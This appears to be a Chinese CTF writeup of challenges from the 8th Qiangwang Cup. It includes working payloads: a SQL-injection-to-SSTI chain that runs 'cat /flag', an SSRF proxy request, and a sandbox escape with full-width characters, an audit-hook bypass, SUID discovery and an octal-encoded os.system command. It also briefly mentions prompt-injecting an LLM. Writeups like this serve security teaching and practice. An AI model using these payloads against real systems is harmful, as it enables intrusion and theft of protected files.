
第八届'强网杯'全国网络安全挑战赛 Writeup
Snake
观察 game.js 源码
if (data.status === "game_over") {
    alert(`Game Over! Your score: ${data.score}`);
    reset_game();
} else if (data.status === "win") {
    window.location.href = `${data.url}`;
} else {
    snake = data.snake;
    food = { x: data.food[0], y: data.food[1] };
    score = data.score;
    draw();
}可以发现在赢得游戏后会得到一个 URL 地址,因此使用 Python 脚本快速完成游戏,这里使用最简单的办法来完成贪吃蛇,如下图所示

import requests
import json
import time
# 设置请求的 URL 和 headers
url = "http://eci-xxxx.cloudeci1.ichunqiu.com:5000/move"
headers = {
    "Content-Type": "application/json",
    "Cookie": "session=eyJ1c2VybmFtZSI6IjEyMyJ9.ZyYKPg.isbRuhLjJZM0CCtwAmdheNkeBJU"
}
def send_move(direction):
    try:
        data = {
            "direction": direction
        }
        response = requests.post(url, headers=headers, data=json.dumps(data))
        if response.json()["status"] == "game_over":
            print("游戏结束!")
            exit(0)
        return response.json()
    except Exception as e:
        print(f"请求失败: {e}")
# 初始方向
current_direction = "UP"
# while True:
global result
# 获取当前状态
result = send_move(current_direction)
print(f"当前位置: {result['snake'][0]} - 食物位置: {result['food']}")
while result["snake"][0] != [0, 0]:
    # 如果x坐标不为0,向左移动
    if result["snake"][0][0] != 0:
        current_direction = "LEFT"
    # 如果y坐标不为0,向下移动
    elif result["snake"][0][1] != 0:
        current_direction = "UP"
    # 向服务器发送移动指令
    result = send_move(current_direction)
    print(f"移动方向: {current_direction} - 当前位置: {result['snake'][0]} - 食物位置: {result['food']} - 得分: {result['score']}")
print("归位成功!")
# 20x20的地图,向下走19步
# 定义移动的步骤
steps = [
    ("DOWN", 19),   # 从 [0,0] 向下走 19 步到 [0,19]
    ("RIGHT", 19),  # 从 [0,19] 向右走 19 步到 [19,19]
    ("UP", 1),      # 从 [19,19] 向上走 1 步到 [19,18]
    ("LEFT", 18),   # 从 [19,18] 向左走 18 步到 [1,18]
    ("UP", 1),    # 从 [1,18] 向上走 1 步到 [1,17]
    ("RIGHT", 18),  # 从 [1,17] 向右走 18 步到 [19,17]
    ("UP", 1),      # 从 [19,17] 向上走 1 步到 [19,16]
    ("LEFT", 18),   # 从 [19,16] 向左走 18 步到 [1,16]
    ("UP", 1),    # 从 [1,16] 向上走 1 步到 [1,15]
    ("RIGHT", 18),  # 从 [1,15] 向右走 18 步到 [19,15]
    ("UP", 1),      # 从 [19,15] 向上走 1 步到 [19,14]
    ("LEFT", 18),   # 从 [19,14] 向左走 18 步到 [1,14]
    ("UP", 1),    # 从 [1,14] 向上走 1 步到 [1,13]
    ("RIGHT", 18),  # 从 [1,13] 向右走 18 步到 [19,13]
    ("UP", 1),      # 从 [19,13] 向上走 1 步到 [19,12]
    ("LEFT", 18),   # 从 [19,12] 向左走 18 步到 [1,12]
    ("UP", 1),    # 从 [1,12] 向上走 1 步到 [1,11]
    ("RIGHT", 18),  # 从 [1,11] 向右走 18 步到 [19,11]
    ("UP", 1),      # 从 [19,11] 向上走 1 步到 [19,10]
    ("LEFT", 18),   # 从 [19,10] 向左走 18 步到 [1,10]
    ("UP", 1),    # 从 [1,10] 向上走 1 步到 [1,9]
    ("RIGHT", 18),  # 从 [1,9] 向右走 18 步到 [19,9]
    ("UP", 1),      # 从 [19,9] 向上走 1 步到 [19,8]
    ("LEFT", 18),   # 从 [19,8] 向左走 18 步到 [1,8]
    ("UP", 1),    # 从 [1,8] 向上走 1 步到 [1,7]
    ("RIGHT", 18),  # 从 [1,7] 向右走 18 步到 [19,7]
    ("UP", 1),      # 从 [19,7] 向上走 1 步到 [19,6]
    ("LEFT", 18),   # 从 [19,6] 向左走 18 步到 [1,6]
    ("UP", 1),    # 从 [1,6] 向上走 1 步到 [1,5]
    ("RIGHT", 18),  # 从 [1,5] 向右走 18 步到 [19,5]
    ("UP", 1),      # 从 [19,5] 向上走 1 步到 [19,4]
    ("LEFT", 18),   # 从 [19,4] 向左走 18 步到 [1,4]
    ("UP", 1),    # 从 [1,4] 向上走 1 步到 [1,3]
    ("RIGHT", 18),  # 从 [1,3] 向右走 18 步到 [19,3]
    ("UP", 1),      # 从 [19,3] 向上走 1 步到 [19,2]
    ("LEFT", 18),   # 从 [19,2] 向左走 18 步到 [1,2]
    ("UP", 1),    # 从 [1,2] 向上走 1 步到 [1,1]
    ("RIGHT", 18),  # 从 [1,1] 向右走 18 步到 [19,1]
    ("UP", 1),      # 从 [19,1] 向上走 1 步到 [19,0]
    ("LEFT", 19),   # 从 [19,0] 向左走 19 步到 [0,0]
]
while True:
    # 执行每一步
    for direction, steps_count in steps:
        for _ in range(steps_count):
            # 向服务器发送移动指令
            response = requests.post(url, headers=headers, data=json.dumps({"direction": direction}))
            result = response.json()
            print(f"移动方向: {direction} - 响应: {result}")
            # 检查游戏状态
            if result["status"] == "game_over":
                print("游戏结束!")
                break
            # 可选:暂停一段时间以观察移动效果
            # time.sleep(0.5)  # 暂停 0.5 秒
        # 如果游戏结束,跳出循环
        if result["status"] == "game_over":
            break运行结果如下

得到 /snake_win?username=

通过添加引号发现 username 处可以 SQL 注入 使用 sqlmap 扫描后发现数据库是 SQLite

但是数据库内并没有找到 flag


于是转换思路,从 session 的格式判断后端也许是 Python,尝试使用 SSTI 模板注入,使用 Fenjing 进行扫描

由于 username 是 SQL 查询语句中的参数,无法被执行,于是在页面中寻找回显点,通过简单测试可以看到回显点在第三个字段

把 Fenjing 生成的 Payload 填入即可得到 flag ?username=admin' union select 1,2,'{{(((((cycler|attr("n" "e" "x" "t")|attr("_" "_" "g" "l" "o" "b" "a" "l" "s" "_" "_")|attr("_" "_" "g" "e" "t" "i" "t" "e" "m" "_" "_"))("_" "_" "b" "u" "i" "l" "t" "i" "n" "s" "_" "_")|attr("_" "_" "g" "e" "t" "i" "t" "e" "m" "_" "_"))("_" "_" "i" "m" "p" "o" "r" "t" "_" "_"))("o" "s")|attr("p" "o" "p" "e" "n"))("c" "a" "t" " " "/" "f" "l" "a" "g")|attr("r" "e" "a" "d"))()}}' --

Proxy
从 main.go 中我们可以看到,访问/v1/api/flag 会执行/readflag命令
v1 := r.Group("/v1"){
    v1.POST("/api/flag", func(c *gin.Context) {
        cmd := exec.Command("/readflag")
        flag, err := cmd.CombinedOutput()
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
            return
        }
        c.JSON(http.StatusOK, gin.H{"flag": flag})
    })
}但是我们可以从 proxy.conf 看到,只有 /v2 路由是代理到后端的,而 /v1 路由是直接返回 403 的,因此我们无法直接访问
server {
    listen 8000;
    location ~ /v1 {
        return 403;
    }
    location ~ /v2 {
        proxy_pass http://localhost:8769;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection $connection_upgrade;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}使用 v2 的代理功能,我们可以通过代理请求到 v1 的 flag
v2 := r.Group("/v2"){
    v2.POST("/api/proxy", func(c *gin.Context) {
        var proxyRequest ProxyRequest
        if err := c.ShouldBindJSON(&proxyRequest); err != nil {
            c.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})
            return
        }
        client := &http.Client{
            CheckRedirect: func(req *http.Request, via []*http.Request) error {
                if !req.URL.IsAbs() {
                    return http.ErrUseLastResponse
                }
                if !proxyRequest.FollowRedirects {
                    return http.ErrUseLastResponse
                }
                return nil
            },
        }
        req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
            return
        }
        for key, value := range proxyRequest.Headers {
            req.Header.Set(key, value)
        }
        resp, err := client.Do(req)
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
            return
        }
        defer resp.Body.Close()
        body, err := io.ReadAll(resp.Body)
        if err != nil {
            c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})
            return
        }
        c.Status(resp.StatusCode)
        for key, value := range resp.Header {
            c.Header(key, value[0])
        }
        c.Writer.Write(body)
        c.Abort()
    })
}构造请求访问即可得到 flag
{
    "method": "POST",
    "url": "http://localhost:8769/v1/api/flag",
    "headers": {
        "Content-Type": "application/json"
    },
    "body": "",
    "followRedirects": false
}
PyBlockly
通过读取附件源码 app.py,了解到题目就是用 Python 模拟了一个 Scratch 的 Web IDE,通过把请求包里面的 JSON 数据解析成 Python 代码
def my_audit_hook(event_name, arg):
    blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
    if len(event_name) > 4:
        raise RuntimeError("Too Long!")
    for bad in blacklist:
        if bad in event_name:
            raise RuntimeError("No!")
__import__('sys').addaudithook(my_audit_hook)
# Block 代码将会被插入到这里观察 block_to_python 函数,可以看到对于 print 等块的处理,还有过滤的黑名单
blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
def block_to_python(block):
    block_type = block['type']
    code = ''
    if block_type == 'print':
        text_block = block['inputs']['TEXT']['block']
        text = block_to_python(text_block)
        code = f"print({text})"
    elif block_type == 'math_number':
        if str(block['fields']['NUM']).isdigit():
            code =  int(block['fields']['NUM'])
        else:
            code = ''
    elif block_type == 'text':
        if check_for_blacklisted_symbols(block['fields']['TEXT']):
            code = ''
        else:
            code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
    elif block_type == 'max':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"max({a}, {b})"
    elif block_type == 'min':
        a_block = block['inputs']['A']['block']
        b_block = block['inputs']['B']['block']
        a = block_to_python(a_block)
        b = block_to_python(b_block)
        code =  f"min({a}, {b})"
    if 'next' in block:
        block = block['next']['block']
        code +="\n" + block_to_python(block)+ "\n"
    else:
        return code
    return code同时还可以发现 unidecode 函数,这个函数可以将 Unicode 字符串转换为 ASCII 字符串,因此使用全角字符就可以完美绕过 blacklist_pattern 的过滤,这里附上全角半角转换
接下来就是构造一个 print 语句,将 flag 打印出来,但是直接读取 flag 是没有权限的,后发现 dd 有 suid 权限
# 查找具有SUID权限的文件
find / -perm -u=s -type f 2>/dev/nullPayload 如下
';__import__("builtins").len=lambda a:1;'';__import__("os").system("$(printf '\144\144\40\151\146\75\57\146\154\141\147');");'GiveMeSecret
经典的大模型忽悠方式,让其忘记 prompt 指令

关于大模型攻防的详细介绍可以参考 Prompt Injection —— 论如何把大模型给忽悠瘸了
更新日志
- 215f5-于
- 19d74-于
- 3d660-于
- 6d262-于

预览: